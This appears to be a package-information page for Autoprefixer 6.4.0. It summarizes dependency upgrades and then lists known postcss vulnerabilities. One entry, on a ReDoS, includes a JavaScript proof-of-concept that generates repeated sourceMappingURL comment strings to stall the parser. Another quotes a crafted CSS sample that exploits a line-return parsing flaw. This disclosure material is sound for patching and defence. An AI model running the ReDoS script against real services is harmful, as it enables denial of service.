Autoprefixer version 6.4.0 introduces several updates over the previous stable version 6.3.7, primarily focusing on dependency upgrades. A key change is the update to postcss from version ^5.0.21 to ^5.1.1, potentially bringing performance improvements and bug fixes inherent in the newer PostCSS release, critical for CSS processing. The caniuse-db dependency, which provides data on browser support for CSS features, sees a significant upgrade from ^1.0.30000488 to ^1.0.30000515 ensuring developers have access to the most current browser compatibility information for accurate prefixing. The browserslist dependency receives a bump from ~1.3.4 to ~1.3.5.
The development dependencies also showcase notable updates. mocha is upgraded from 2.5.3 to 3.0.0, and should from 9.0.2 to 10.0.0, indicating improvements in the testing framework. Gulp-related dependencies, specifically gulp-eslint and gulp-mocha also received version updates from version 2.0.0 to 3.0.1 and from 2.2.0 to 3.0.0 respectively. These changes generally signify enhanced tooling, potentially leading to a smoother development workflow and more robust testing procedures. The browserify version was updated from 13.0.1 to 13.1.0. While seemingly minor, upgrading build and testing tools underscore a commitment to code quality and efficient development practices, ultimately benefiting developers using Autoprefixer. These updates usually incorporates bug fixes and enhance features.
All the vulnerabilities related to the version 6.4.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.